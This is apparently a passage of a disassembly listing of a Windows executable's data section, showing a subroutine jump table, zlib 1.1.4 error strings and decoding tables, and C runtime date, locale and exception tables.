		dd offset sub_4A9FEB
		dd offset sub_4AA0E8
		dd offset sub_4AA1E5
		dd offset sub_4AA2E2
		dd offset sub_4AA3DF
		dd offset sub_4AA4DC
		dd offset sub_4AA5D9
		dd offset sub_4AA6D6
		dd offset sub_4AA7D3
		dd offset sub_4AA8D0
		dd offset sub_4AA9CD
		dd offset sub_4AAACA
		dd offset sub_4AABC7
		dd offset sub_4AACC4
		dd offset sub_4AADC1
		dd offset sub_4AAEBE
		dd offset sub_4AAFBB
		dd offset sub_4AB0B8
		dd offset sub_4AB1B5
		dd offset sub_4AB2B2
		dd offset sub_4AB3AF
		dd offset sub_4AB4AC
		dd offset sub_4AB5A9
		dd offset sub_4AB6A6
		dd offset sub_4AB7A3
		dd offset sub_4AB8A0
		dd offset sub_4AB99D
		dd offset sub_4ABA9A
		dd offset sub_4ABB97
		dd offset sub_4ABC94
		dd offset sub_4ABD91
		dd offset sub_4ABE8E
		dd offset sub_4ABF8B
		dd offset sub_4AC088
		dd offset sub_4AC185
		dd offset sub_4AC282
		dd offset sub_4AC37F
		dd offset sub_4AC47C
		dd offset sub_4AC576
		dd offset sub_4AC673
		dd offset sub_4AC770
		dd offset sub_4AC86D
		dd offset sub_4AC96A
		dd offset sub_4ACA67
		dd offset sub_4ACB64
		dd offset sub_4ACC61
		dd offset sub_4ACD5E
		dd offset sub_4ACE5B
		dd offset sub_4ACF58
		dd offset sub_4AD055
		dd offset sub_4AD152
		dd offset sub_4AD24C
		dd offset sub_4AD349
		dd offset sub_4AD446
		dd offset sub_4AD543
		dd offset sub_4AD640
		dd offset sub_4AD73D
		dd offset sub_4AD839
		dd offset sub_4AD936
		dd offset sub_4ADA33
		dd offset sub_4ADB30
		dd offset sub_4ADC2D
		dd offset sub_4ADD2A
		dd offset sub_4ADE27
		dd offset sub_4ADF24
		dd offset sub_4AE021
		dd offset sub_4AE11E
		dd offset sub_4AE21B
		dd offset sub_4AE318
		dd offset sub_4AE415
		dd offset sub_4AE511
		dd offset sub_4AE60E
		dd offset sub_4AE70B
		dd offset sub_4AE808
		dd offset sub_4AE905
		dd offset sub_4AEA02
		dd offset sub_4AEAFF
		dd offset sub_4AEBFC
		dd offset sub_4AECF9
		dd offset sub_4AEDF6
		dd offset sub_4AEEF3
		dd offset sub_4AEFF0
		dd offset sub_4AF0ED
		dd offset sub_4AF1EA
		dd offset sub_4AF2E7
		dd offset sub_4AF3E4
		dd offset sub_4AF4E1
		dd offset sub_4AF5DE
		dd offset sub_4AF6DB
		dd offset sub_4AF7D8
		dd offset sub_4AF8D5
		dd offset sub_4AF9CF
		dd offset sub_4AFACC
		dd offset sub_4AFBC9
		dd offset sub_4AFCC6
		dd offset sub_4AFDC3
		dd offset sub_4AFEC0
		dd offset sub_4AFFBD
		dd offset sub_4B00B9
		dd offset sub_4B01B6
		dd offset sub_4B02B3
		dd offset sub_4B03B0
		dd offset sub_4B04AD
		dd offset sub_4B05AA
		dd offset sub_4B06A7
		dd offset sub_4B07A4
		dd offset sub_4B089E
		dd offset sub_4B099B
		dd offset sub_4B0A98
		dd offset sub_4B0B92
		dd offset sub_4B0C8F
		dd offset sub_4B0D8C
		dd offset sub_4B0E89
		dd offset sub_4B0F86
		dd offset sub_4B1083
		dd offset sub_4B1180
		dd offset sub_4B127D
		dd offset sub_4B137A
		dd offset sub_4B1477
		dd offset sub_4B1574
		dd offset sub_4B1671
		dd offset sub_4B176B
		dd offset sub_4B1868
		dd offset sub_4B1965
		dd offset sub_4B1A62
		dd offset sub_4B1B5F
		dd offset sub_4B1C5C
		dd offset sub_4B1D59
		dd offset sub_4B1E56
		dd offset sub_4B1F53
		dd offset sub_4B204F
		dd offset sub_4B214C
		dd offset sub_4B2248
		dd offset sub_4B2345
		dd offset sub_4B243F
		dd offset sub_4B253C
		dd offset sub_4B2639
		dd offset sub_4B2736
		dd offset sub_4B2833
		dd offset sub_4B292D
		dd offset sub_4B2A2A
		dd offset sub_4B2B27
		dd offset sub_4B2C23
		dd offset sub_4B2D20
		dd offset sub_4B2E1D
		dd offset sub_4B2F1A
		dd offset sub_4B3017
		dd offset sub_4B3114
		dd offset sub_4B3211
byte_4EDC44	db 1			; DATA XREF: .text:004BB8FBr
					; .text:004BB909w
		align 4
aShutdown	db 'Shutdown',0         ; DATA XREF: .text:004B7CCDo
					; .text:004B7CF3o ...
		align 4
aCQqCg		db '—šŸŸœœ–ƒÓ',0
		align 10h
aCQqRbctzc	db '—šŸŸœ–’‡–Ó',0
		align 10h
aUnicode	db '(Unicode) ',0       ; DATA XREF: .text:004BBF4Do
		align 4
aErrorAccessVio	db 'Error: Access violation at 0x%08X (tried to %s 0x%08X), program t'
					; DATA XREF: .text:004BA9D8o
		db 'erminated.',0
aReadFrom	db 'read from',0        ; DATA XREF: .text:loc_4BA9B9o
		align 4
aWriteTo	db 'write to',0         ; DATA XREF: .text:004BA9ADo
		align 10h
aOutputdebugs_0	db 'OutputDebugStringW',0 ; DATA XREF: .text:004B9873o
		align 4
aOutputdebugstr	db 'OutputDebugStringA',0 ; DATA XREF: .text:004B9861o
		align 4
off_4EDD08	dd offset byte_53525F	; DATA XREF: .text:004B9193o
dword_4EDD0C	dd 7525h		; DATA XREF: .text:004B9178o
aSetprocessshut	db 'SetProcessShutdownParameters',0 ; DATA XREF: .text:004B852Bo
		align 10h
aKernel32_dll_0	db 'kernel32.dll',0     ; DATA XREF: .text:004B851Do
		align 10h
word_4EDD40	dw 0FEEBh		; DATA XREF: .text:004BDCF5r
byte_4EDD42	db 0			; DATA XREF: .text:004BDCFFr
		align 4
aPropertysheeta	db 'PropertySheetA',0   ; DATA XREF: sub_4BDFA4+6Ao
		align 4
aComctl32_dll	db 'COMCTL32.DLL',0     ; DATA XREF: sub_4BDFA4+56o
					; sub_4BE07A+6o
		align 4
a_trackmouseeve	db '_TrackMouseEvent',0 ; DATA XREF: sub_4BE07A+1Ao
		align 4
		dd 0FFFFFFFFh
aRaidErrorUCrea	db 'RAID error %u creating listwindow, reverting to older format.',0
					; DATA XREF: .text:004BE176o
		align 4
aListbox	db 'LISTBOX',0          ; DATA XREF: .text:004BE151o
; char a_dbglog[]
a_dbglog	db '.DbgLog',0          ; DATA XREF: sub_4BE373:loc_4BE467o
; char aU[]
aU		db '-%u',0              ; DATA XREF: sub_4BE373+C9o
asc_4EDDD0	db ' --- ',0            ; DATA XREF: .text:004BE4F0o
		align 4
aS_03d		db '%s.%03d',0          ; DATA XREF: .text:004BE4DEo
aC		db '%c',0               ; DATA XREF: .text:004BE4BDo
		align 4
off_4EDDE4	dd offset a1_1_4_1	; DATA XREF: sub_4BE535+19r
					; "1.1.4"
a1_1_4_1	db '1.1.4',0            ; DATA XREF: .data:off_4EDDE4o
		align 10h
byte_4EDDF0	db 31h			; DATA XREF: sub_4C09F4+Fr
a_1_4		db '.1.4',0
		align 4
aUnknownCompres	db 'unknown compression method',0 ; DATA XREF: sub_4C0B75+DEo
		align 4
aInvalidWindowS	db 'invalid window size',0 ; DATA XREF: sub_4C0B75+120o
aIncorrectHeade	db 'incorrect header check',0 ; DATA XREF: sub_4C0B75+1BEo
		align 10h
aNeedDictionary	db 'need dictionary',0  ; DATA XREF: sub_4C0B75+3D0o
aIncorrectDataC	db 'incorrect data check',0 ; DATA XREF: sub_4C0B75+659o
		align 4
off_4EDE68	dd offset aNeedDictiona_0 ; DATA XREF: .text:004C1695r
					; "need	dictionary"
		dd offset aStreamEnd	; "stream end"
		dd offset dword_4F49CC
		dd offset aFileError	; "file	error"
off_4EDE78	dd offset aStreamError	; DATA XREF: sub_4BEBAE+63r
					; "stream error"
		dd offset aDataError	; "data	error"
off_4EDE80	dd offset aInsufficient_0 ; DATA XREF: sub_4BE535+26Br
					; "insufficient	memory"
off_4EDE84	dd offset aBufferError	; DATA XREF: sub_4BEBAE+82r
					; sub_4BEBAE+1CEr ...
					; "buffer error"
		dd offset aIncompatibleVe ; "incompatible version"
		dd offset dword_4F49D0
aNeedDictiona_0	db 'need dictionary',0  ; DATA XREF: .data:off_4EDE68o
aStreamEnd	db 'stream end',0       ; DATA XREF: .data:004EDE6Co
		align 4
aFileError	db 'file error',0       ; DATA XREF: .data:004EDE74o
		align 4
aStreamError	db 'stream error',0     ; DATA XREF: .data:off_4EDE78o
		align 4
aDataError	db 'data error',0       ; DATA XREF: .data:004EDE7Co
		align 4
aInsufficient_0	db 'insufficient memory',0 ; DATA XREF: .data:off_4EDE80o
aBufferError	db 'buffer error',0     ; DATA XREF: .data:off_4EDE84o
		align 4
aIncompatibleVe	db 'incompatible version',0 ; DATA XREF: .data:004EDE88o
		align 10h
a1_1_4_0	db '1.1.4',0            ; DATA XREF: .text:004C1683o
		align 4
off_4EDF18	dd offset dword_4F25A8	; DATA XREF: sub_4C1960+1Co
		dd offset dword_4F245C
		dd 101h, 11Eh, 0Fh, 0
off_4EDF30	dd offset dword_4F2A28	; DATA XREF: sub_4C1960+3Ao
		dd offset dword_4F24D0
		dd 0
		dd 1Eh,	0Fh, 0
dword_4EDF48	dd 0			; DATA XREF: sub_4C1960+58o
		dd offset dword_4F2548
		dd 0
		dd 13h,	7
aInvalidBlockTy	db 'invalid block type',0 ; DATA XREF: sub_4C4F0F+2A6o
		align 10h
aInvalidStoredB	db 'invalid stored block lengths',0 ; DATA XREF: sub_4C4F0F+3E3o
		align 10h
aTooManyLengthO	db 'too many length or distance symbols',0 ; DATA XREF: sub_4C4F0F+7DDo
aInvalidBitLeng	db 'invalid bit length repeat',0 ; DATA XREF: sub_4C4F0F+DECo
		align 10h
aInvalidLiteral	db 'invalid literal/length code',0 ; DATA XREF: sub_4C63A5+353o
aInvalidDistanc	db 'invalid distance code',0 ; DATA XREF: sub_4C63A5+61Fo
		align 8
dword_4EE008	dd 9			; DATA XREF: sub_4C7C1B+6r
dword_4EE00C	dd 5			; DATA XREF: sub_4C7C1B+11r
dword_4EE010	dd 760h, 100h, 800h, 50h, 800h,	10h, 854h, 73h,	752h, 1Fh
					; DATA XREF: sub_4C7C1B+1Bo
		dd 800h, 70h, 800h, 30h, 900h, 0C0h, 750h, 0Ah,	800h, 60h
		dd 800h, 20h, 900h, 0A0h, 800h,	0
		dd 800h, 80h, 800h, 40h, 900h, 0E0h, 750h, 6, 800h, 58h
		dd 800h, 18h, 900h, 90h, 753h, 3Bh, 800h, 78h, 800h, 38h
		dd 900h, 0D0h, 751h, 11h, 800h,	68h, 800h, 28h,	900h, 0B0h
		dd 800h, 8, 800h, 88h, 800h, 48h, 900h,	0F0h, 750h, 4
		dd 800h, 54h, 800h, 14h, 855h, 0E3h, 753h, 2Bh,	800h, 74h
		dd 800h, 34h, 900h, 0C8h, 751h,	0Dh, 800h, 64h,	800h, 24h
		dd 900h, 0A8h, 800h, 4,	800h, 84h, 800h, 44h, 900h, 0E8h
		dd 750h, 8, 800h, 5Ch, 800h, 1Ch, 900h,	98h, 754h, 53h
		dd 800h, 7Ch, 800h, 3Ch, 900h, 0D8h, 752h, 17h,	800h, 6Ch
		dd 800h, 2Ch, 900h, 0B8h, 800h,	0Ch, 800h, 8Ch,	800h, 4Ch
		dd 900h, 0F8h, 750h, 3,	800h, 52h, 800h, 12h, 855h, 0A3h
		dd 753h, 23h, 800h, 72h, 800h, 32h, 900h, 0C4h,	751h, 0Bh
		dd 800h, 62h, 800h, 22h, 900h, 0A4h, 800h, 2, 800h, 82h
		dd 800h, 42h, 900h, 0E4h, 750h,	7, 800h, 5Ah, 800h, 1Ah
		dd 900h, 94h, 754h, 43h, 800h, 7Ah, 800h, 3Ah, 900h, 0D4h
		dd 752h, 13h, 800h, 6Ah, 800h, 2Ah, 900h, 0B4h,	800h, 0Ah
		dd 800h, 8Ah, 800h, 4Ah, 900h, 0F4h, 750h, 5, 800h, 56h
		dd 800h, 16h, 8C0h, 0
		dd 753h, 33h, 800h, 76h, 800h, 36h, 900h, 0CCh,	751h, 0Fh
		dd 800h, 66h, 800h, 26h, 900h, 0ACh, 800h, 6, 800h, 86h
		dd 800h, 46h, 900h, 0ECh, 750h,	9, 800h, 5Eh, 800h, 1Eh
		dd 900h, 9Ch, 754h, 63h, 800h, 7Eh, 800h, 3Eh, 900h, 0DCh
		dd 752h, 1Bh, 800h, 6Eh, 800h, 2Eh, 900h, 0BCh,	800h, 0Eh
		dd 800h, 8Eh, 800h, 4Eh, 900h, 0FCh, 760h, 100h, 800h
		dd 51h,	800h, 11h, 855h, 83h, 752h, 1Fh, 800h, 71h, 800h
		dd 31h,	900h, 0C2h, 750h, 0Ah, 800h, 61h, 800h,	21h, 900h
		dd 0A2h, 800h, 1, 800h,	81h, 800h, 41h,	900h, 0E2h, 750h
		dd 6, 800h, 59h, 800h, 19h, 900h, 92h, 753h, 3Bh, 800h
		dd 79h,	800h, 39h, 900h, 0D2h, 751h, 11h, 800h,	69h, 800h
		dd 29h,	900h, 0B2h, 800h, 9, 800h, 89h,	800h, 49h, 900h
		dd 0F2h, 750h, 4, 800h,	55h, 800h, 15h,	850h, 102h, 753h
		dd 2Bh,	800h, 75h, 800h, 35h, 900h, 0CAh, 751h,	0Dh, 800h
		dd 65h,	800h, 25h, 900h, 0AAh, 800h, 5,	800h, 85h, 800h
		dd 45h,	900h, 0EAh, 750h, 8, 800h, 5Dh,	800h, 1Dh, 900h
		dd 9Ah,	754h, 53h, 800h, 7Dh, 800h, 3Dh, 900h, 0DAh, 752h
		dd 17h,	800h, 6Dh, 800h, 2Dh, 900h, 0BAh, 800h,	0Dh, 800h
		dd 8Dh,	800h, 4Dh, 900h, 0FAh, 750h, 3,	800h, 53h, 800h
		dd 13h,	855h, 0C3h, 753h, 23h, 800h, 73h, 800h,	33h, 900h
		dd 0C6h, 751h, 0Bh, 800h, 63h, 800h, 23h, 900h,	0A6h, 800h
		dd 3, 800h, 83h, 800h, 43h, 900h, 0E6h,	750h, 7, 800h
		dd 5Bh,	800h, 1Bh, 900h, 96h, 754h, 43h, 800h, 7Bh, 800h
		dd 3Bh,	900h, 0D6h, 752h, 13h, 800h, 6Bh, 800h,	2Bh, 900h
		dd 0B6h, 800h, 0Bh, 800h, 8Bh, 800h, 4Bh, 900h,	0F6h, 750h
		dd 5, 800h, 57h, 800h, 17h, 8C0h, 0
		dd 753h, 33h, 800h, 77h, 800h, 37h, 900h, 0CEh,	751h, 0Fh
		dd 800h, 67h, 800h, 27h, 900h, 0AEh, 800h, 7, 800h, 87h
		dd 800h, 47h, 900h, 0EEh, 750h,	9, 800h, 5Fh, 800h, 1Fh
		dd 900h, 9Eh, 754h, 63h, 800h, 7Fh, 800h, 3Fh, 900h, 0DEh
		dd 752h, 1Bh, 800h, 6Fh, 800h, 2Fh, 900h, 0BEh,	800h, 0Fh
		dd 800h, 8Fh, 800h, 4Fh, 900h, 0FEh, 760h, 100h, 800h
		dd 50h,	800h, 10h, 854h, 73h, 752h, 1Fh, 800h, 70h, 800h
		dd 30h,	900h, 0C1h, 750h, 0Ah, 800h, 60h, 800h,	20h, 900h
		dd 0A1h, 800h, 0
		dd 800h, 80h, 800h, 40h, 900h, 0E1h, 750h, 6, 800h, 58h
		dd 800h, 18h, 900h, 91h, 753h, 3Bh, 800h, 78h, 800h, 38h
		dd 900h, 0D1h, 751h, 11h, 800h,	68h, 800h, 28h,	900h, 0B1h
		dd 800h, 8, 800h, 88h, 800h, 48h, 900h,	0F1h, 750h, 4
		dd 800h, 54h, 800h, 14h, 855h, 0E3h, 753h, 2Bh,	800h, 74h
		dd 800h, 34h, 900h, 0C9h, 751h,	0Dh, 800h, 64h,	800h, 24h
		dd 900h, 0A9h, 800h, 4,	800h, 84h, 800h, 44h, 900h, 0E9h
		dd 750h, 8, 800h, 5Ch, 800h, 1Ch, 900h,	99h, 754h, 53h
		dd 800h, 7Ch, 800h, 3Ch, 900h, 0D9h, 752h, 17h,	800h, 6Ch
		dd 800h, 2Ch, 900h, 0B9h, 800h,	0Ch, 800h, 8Ch,	800h, 4Ch
		dd 900h, 0F9h, 750h, 3,	800h, 52h, 800h, 12h, 855h, 0A3h
		dd 753h, 23h, 800h, 72h, 800h, 32h, 900h, 0C5h,	751h, 0Bh
		dd 800h, 62h, 800h, 22h, 900h, 0A5h, 800h, 2, 800h, 82h
		dd 800h, 42h, 900h, 0E5h, 750h,	7, 800h, 5Ah, 800h, 1Ah
		dd 900h, 95h, 754h, 43h, 800h, 7Ah, 800h, 3Ah, 900h, 0D5h
		dd 752h, 13h, 800h, 6Ah, 800h, 2Ah, 900h, 0B5h,	800h, 0Ah
		dd 800h, 8Ah, 800h, 4Ah, 900h, 0F5h, 750h, 5, 800h, 56h
		dd 800h, 16h, 8C0h, 0
		dd 753h, 33h, 800h, 76h, 800h, 36h, 900h, 0CDh,	751h, 0Fh
		dd 800h, 66h, 800h, 26h, 900h, 0ADh, 800h, 6, 800h, 86h
		dd 800h, 46h, 900h, 0EDh, 750h,	9, 800h, 5Eh, 800h, 1Eh
		dd 900h, 9Dh, 754h, 63h, 800h, 7Eh, 800h, 3Eh, 900h, 0DDh
		dd 752h, 1Bh, 800h, 6Eh, 800h, 2Eh, 900h, 0BDh,	800h, 0Eh
		dd 800h, 8Eh, 800h, 4Eh, 900h, 0FDh, 760h, 100h, 800h
		dd 51h,	800h, 11h, 855h, 83h, 752h, 1Fh, 800h, 71h, 800h
		dd 31h,	900h, 0C3h, 750h, 0Ah, 800h, 61h, 800h,	21h, 900h
		dd 0A3h, 800h, 1, 800h,	81h, 800h, 41h,	900h, 0E3h, 750h
		dd 6, 800h, 59h, 800h, 19h, 900h, 93h, 753h, 3Bh, 800h
		dd 79h,	800h, 39h, 900h, 0D3h, 751h, 11h, 800h,	69h, 800h
		dd 29h,	900h, 0B3h, 800h, 9, 800h, 89h,	800h, 49h, 900h
		dd 0F3h, 750h, 4, 800h,	55h, 800h, 15h,	850h, 102h, 753h
		dd 2Bh,	800h, 75h, 800h, 35h, 900h, 0CBh, 751h,	0Dh, 800h
		dd 65h,	800h, 25h, 900h, 0ABh, 800h, 5,	800h, 85h, 800h
		dd 45h,	900h, 0EBh, 750h, 8, 800h, 5Dh,	800h, 1Dh, 900h
		dd 9Bh,	754h, 53h, 800h, 7Dh, 800h, 3Dh, 900h, 0DBh, 752h
		dd 17h,	800h, 6Dh, 800h, 2Dh, 900h, 0BBh, 800h,	0Dh, 800h
		dd 8Dh,	800h, 4Dh, 900h, 0FBh, 750h, 3,	800h, 53h, 800h
		dd 13h,	855h, 0C3h, 753h, 23h, 800h, 73h, 800h,	33h, 900h
		dd 0C7h, 751h, 0Bh, 800h, 63h, 800h, 23h, 900h,	0A7h, 800h
		dd 3, 800h, 83h, 800h, 43h, 900h, 0E7h,	750h, 7, 800h
		dd 5Bh,	800h, 1Bh, 900h, 97h, 754h, 43h, 800h, 7Bh, 800h
		dd 3Bh,	900h, 0D7h, 752h, 13h, 800h, 6Bh, 800h,	2Bh, 900h
		dd 0B7h, 800h, 0Bh, 800h, 8Bh, 800h, 4Bh, 900h,	0F7h, 750h
		dd 5, 800h, 57h, 800h, 17h, 8C0h, 0
		dd 753h, 33h, 800h, 77h, 800h, 37h, 900h, 0CFh,	751h, 0Fh
		dd 800h, 67h, 800h, 27h, 900h, 0AFh, 800h, 7, 800h, 87h
		dd 800h, 47h, 900h, 0EFh, 750h,	9, 800h, 5Fh, 800h, 1Fh
		dd 900h, 9Fh, 754h, 63h, 800h, 7Fh, 800h, 3Fh, 900h, 0DFh
		dd 752h, 1Bh, 800h, 6Fh, 800h, 2Fh, 900h, 0BFh,	800h, 0Fh
		dd 800h, 8Fh, 800h, 4Fh, 900h, 0FFh
dword_4EF010	dd 550h, 1, 557h, 101h,	553h, 11h, 55Bh, 1001h,	551h, 5
					; DATA XREF: sub_4C7C1B+24o
		dd 559h, 401h, 555h, 41h, 55Dh,	4001h, 550h, 3,	558h, 201h
		dd 554h, 21h, 55Ch, 2001h, 552h, 9, 55Ah, 801h,	556h, 81h
		dd 5C0h, 6001h,	550h, 2, 557h, 181h, 553h, 19h,	55Bh, 1801h
		dd 551h, 7, 559h, 601h,	555h, 61h, 55Dh, 6001h,	550h, 4
		dd 558h, 301h, 554h, 31h, 55Ch,	3001h, 552h, 0Dh, 55Ah
		dd 0C01h, 556h,	0C1h, 5C0h, 6001h
aOversubscribed	db 'oversubscribed dynamic bit lengths tree',0 ; DATA XREF: sub_4C7120+65o
aIncompleteDyna	db 'incomplete dynamic bit lengths tree',0 ; DATA XREF: sub_4C7120+7Fo
aOversubscrib_0	db 'oversubscribed literal/length tree',0 ; DATA XREF: sub_4C7A96+84o
		align 10h
aIncompleteLite	db 'incomplete literal/length tree',0 ; DATA XREF: sub_4C7A96+96o
		align 10h
aOversubscrib_1	db 'oversubscribed distance tree',0 ; DATA XREF: sub_4C7A96+119o
		align 10h
aIncompleteDist	db 'incomplete distance tree',0 ; DATA XREF: sub_4C7A96+12Bo
		align 4
aEmptyDistanceT	db 'empty distance tree with lengths',0 ; DATA XREF: sub_4C7A96+144o
		align 10h
dword_4EF200	dd 0			; DATA XREF: sub_4C4F0F+C00r
					; sub_4C4F0F+D60r ...
		dd 1, 3, 7, 0Fh, 1Fh, 3Fh, 7Fh,	0FFh, 1FFh, 3FFh, 7FFh
		dd 0FFFh, 1FFFh, 3FFFh,	7FFFh, 0FFFFh
aInvalidDista_0	db 'invalid distance code',0 ; DATA XREF: sub_4C7E30+459o
		align 4
aInvalidLiter_0	db 'invalid literal/length code',0 ; DATA XREF: sub_4C7E30+63Do
		align 10h
dword_4EF280	dd 19930520h, 3	dup(0)	; DATA XREF: .text:004C9457o
					; __NLG_Notify_0+2o
off_4EF290	dd offset off_4EF298	; DATA XREF: sub_4C975E+12r
		align 8
off_4EF298	dd offset dword_4F3210	; DATA XREF: .data:off_4EF290o
		dd offset byte_4F320C
		dd offset aTue		; "Tue"
		dd offset aWed		; "Wed"
		dd offset aThu		; "Thu"
		dd offset aFri		; "Fri"
		dd offset aSat		; "Sat"
		dd offset aSunday_0	; "Sunday"
		dd offset aMonday_0	; "Monday"
		dd offset aTuesday_0	; "Tuesday"
		dd offset aWednesday	; "Wednesday"
		dd offset aThursday_0	; "Thursday"
		dd offset aFriday_0	; "Friday"
		dd offset aSaturday_0	; "Saturday"
		dd offset aJan		; "Jan"
		dd offset aFeb		; "Feb"
		dd offset aMar		; "Mar"
		dd offset aApr		; "Apr"
		dd offset aMay		; "May"
		dd offset aJun		; "Jun"
		dd offset aJul		; "Jul"
		dd offset aAug		; "Aug"
		dd offset aSep		; "Sep"
		dd offset aOct		; "Oct"
		dd offset aNov		; "Nov"
		dd offset aDec		; "Dec"
		dd offset aJanuary	; "January"
		dd offset aFebruary	; "February"
		dd offset aMarch	; "March"
		dd offset aApril_0	; "April"
		dd offset aMay		; "May"
		dd offset aJune_0	; "June"
		dd offset aJuly		; "July"
		dd offset aAugust	; "August"
		dd offset aSeptember	; "September"
		dd offset aOctober	; "October"
		dd offset aNovember_0	; "November"
		dd offset aDecember_0	; "December"
		dd offset aAm_0		; "AM"
		dd offset aPm_0		; "PM"
		dd offset aMDYy		; "M/d/yy"
		dd offset aDdddMmmmDdYyyy ; "dddd, MMMM	dd, yyyy"
		dd offset aHMmSs	; "H:mm:ss"
off_4EF344	dd offset __exit_0	; DATA XREF: __amsg_exit_0+1Cr
dword_4EF348	dd 2			; DATA XREF: __FF_MSGBANNER_0+Er
					; __NMSG_WRITE_0+46r ...
off_4EF34C	dd offset aNull_0	; DATA XREF: __output_0:loc_4CA88Fr
					; __output_0+457r
					; "(null)"
off_4EF350	dd offset aNull_1	; DATA XREF: __output_0+259r
					; "(null)"
off_4EF354	dd offset word_4EF35E	; DATA XREF: _atol_0+23r
					; _atol_0:loc_4C95B9r ...
off_4EF358	dd offset word_4EF35E	; DATA XREF: _iswctype_0+18r
		db 2 dup(0)
word_4EF35E	dw 20h			; DATA XREF: sub_4CDAAD+18r
					; .data:off_4EF354o ...
		unicode	0, <	    (((((		   H>
		dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h)
		dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h)
		dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0)
dword_4EF560	dd 1			; DATA XREF: _atol_0:loc_4C9560r
					; _atol_0:loc_4C95A4r ...
		dd 2Eh,	1, 0
dword_4EF570	dd 7080h		; DATA XREF: _localtime+28r
					; _localtime:loc_4CA040r ...
dword_4EF574	dd 1			; DATA XREF: _localtime+3Ar
					; ___loctotime_t_0+98r	...
dword_4EF578	dd 0FFFFF1F0h		; DATA XREF: _localtime+59r
					; _localtime+8Fr ...
off_4EF57C	dd offset dword_545350	; DATA XREF: .data:off_4EF5FCo
		dd 0Fh dup(0)
off_4EF5BC	dd offset dword_544450	; DATA XREF: .data:off_4EF600o
		dd 0Fh dup(0)
; char *off_4EF5FC
off_4EF5FC	dd offset off_4EF57C	; DATA XREF: __expandtime+334r
					; __tzset_0+BAr ...
; char *off_4EF600
off_4EF600	dd offset off_4EF5BC	; DATA XREF: __tzset_0+F4r
					; __tzset_0+11Br ...
		align 8
dword_4EF608	dd 0FFFFFFFFh		; DATA XREF: __tzset_0+1Dw
					; __isindst_0+1Er ...
dword_4EF60C	dd 0			; DATA XREF: __isindst_0:loc_4CB24Dr
					; _cvtdate_0+BFw
dword_4EF610	dd 0			; DATA XREF: __isindst_0+192r
					; _cvtdate_0+E0w
		align 8
dword_4EF618	dd 0FFFFFFFFh		; DATA XREF: __tzset_0+17w
					; __isindst_0+26r ...
dword_4EF61C	dd 0			; DATA XREF: __isindst_0+13Ar
					; _cvtdate_0+EAw ...
dword_4EF620	dd 0			; DATA XREF: __isindst_0+1A1r
					; _cvtdate_0+10Bw ...
		align 10h
dword_4EF630	dd 0C0000005h		; DATA XREF: _xcptlookup_0+Ar
					; _xcptlookup_0+11o
		dd 0Bh,	0
		dd 0C000001Dh, 4, 0
		dd 0C0000096h, 4, 0
		dd 0C000008Dh, 8, 0
		dd 0C000008Eh, 8, 0
		dd 0C000008Fh, 8, 0
		dd 0C0000090h, 8, 0
		dd 0C0000091h, 8, 0
		dd 0C0000092h, 8, 0
		dd 0C0000093h, 8, 0
dword_4EF6A8	dd 3			; DATA XREF: __XcptFilter_0+58r
dword_4EF6AC	dd 7			; DATA XREF: __XcptFilter_0+5Er
dword_4EF6B0	dd 0Ah			; DATA XREF: _xcptlookup_0+4r
dword_4EF6B4	dd 8Ch			; DATA XREF: __XcptFilter_0+82r
					; __XcptFilter_0+8Fw ...
dword_4EF6B8	dd 0FFFFFFFFh, 0A00h, 10h, 0 ; DATA XREF: __flsbuf_0:loc_4CA4D3o
dword_4EF6C8	dd 2			; DATA XREF: __NMSG_WRITE_0+Eo
					; __NMSG_WRITE_0+28r
off_4EF6CC	dd offset aR6002Floatin_0 ; DATA XREF: __NMSG_WRITE_0+FCr
					; __NMSG_WRITE_0+12Dr
					; "R6002\r\n- floating point not loaded\r\n"
		dd 8, 4F354Ch, 9, 4F3520h, 0Ah,	4F34FCh, 10h, 4F34D0h
		dd 11h,	4F34A0h, 12h, 4F347Ch, 13h, 4F3450h, 18h, 4F3418h
		dd 19h,	4F33F0h, 1Ah, 4F33B8h, 1Bh, 4F3380h, 1Ch, 4F3358h
		dd 78h,	4F3348h, 79h, 4F3338h, 7Ah, 4F3328h, 0FCh, 4F3324h
		dd 0FFh, 4F3314h
off_4EF758	dd offset off_4EF758	; DATA XREF: __NMSG_WRITE_0+1Bo
					; sub_4CCBF9+Do ...
off_4EF75C	dd offset off_4EF758	; DATA XREF: sub_4CCBF9:loc_4CCC79r
					; sub_4CCBF9+89w ...
		dd offset dword_4EF770
		dd offset dword_4EF770
dword_4EF768	dd 0FFFFFFFFh		; DATA XREF: sub_4CCBF9r
					; sub_4CCD3D:loc_4CCD8Aw
		dd 0FFFFFFFFh
dword_4EF770	dd 0F0h, 0F1h, 233h dup(0) ; DATA XREF:	.data:004EF760o
					; .data:004EF764o
dword_4F0044	dd 5CDh	dup(0)		; DATA XREF: UPX0:0042BC8Co
off_4F1778	dd offset off_4EF758	; DATA XREF: sub_4CCD3D+15r
					; sub_4CCD3D+20w ...
dword_4F177C	dd 1E0h			; DATA XREF: sub_4CA24A+51r
					; sub_4CA3A2:loc_4CA3DEr ...
off_4F1780	dd offset dword_4F4EE0	; DATA XREF: ___initstdio_0+55o
		align 8
		dd offset dword_4F4EE0
		dd 101h
dword_4F1790	dd 0FFFFFFFFh, 0	; DATA XREF: ___initstdio_0+72o
		dd 1000h, 0
dword_4F17A0	dd 3 dup(0)		; DATA XREF: __flsbuf_0+50o
		dd 2, 0FFFFFFFFh, 3 dup(0)
dword_4F17C0	dd 3 dup(0)		; DATA XREF: __flsbuf_0+58o
		dd 2, 0FFFFFFFFh, 7 dup(0)
dword_4F17F0	dd 84h dup(0)		; DATA XREF: ___initstdio_0+9Bo
off_4F1A00	dd offset sub_4CE4A4	; DATA XREF: __output_0+3AAr
					; ___initstdio_0+69o
off_4F1A04	dd offset sub_4CE4A4	; DATA XREF: __output_0+3E2r
		dd offset sub_4CE4A4
off_4F1A0C	dd offset sub_4CE4A4	; DATA XREF: __output_0+3CBr
		dd offset sub_4CE4A4
		dd offset sub_4CE4A4
		dd 0
dword_4F1A1C	dd 0			; DATA XREF: _cvtdate_0+23r
					; _cvtdate_0+A3r
dword_4F1A20	dd 0FFFFFFFFh		; DATA XREF: _cvtdate_0+84r
					; _gmtime+79o
		dd 1Eh,	3Bh, 5Ah, 78h, 97h, 0B5h, 0D4h,	0F3h, 111h, 130h
		dd 14Eh
dword_4F1A50	dd 16Dh			; DATA XREF: ___loctotime_t_0+2Ar
					; _cvtdate_0+2Er ...
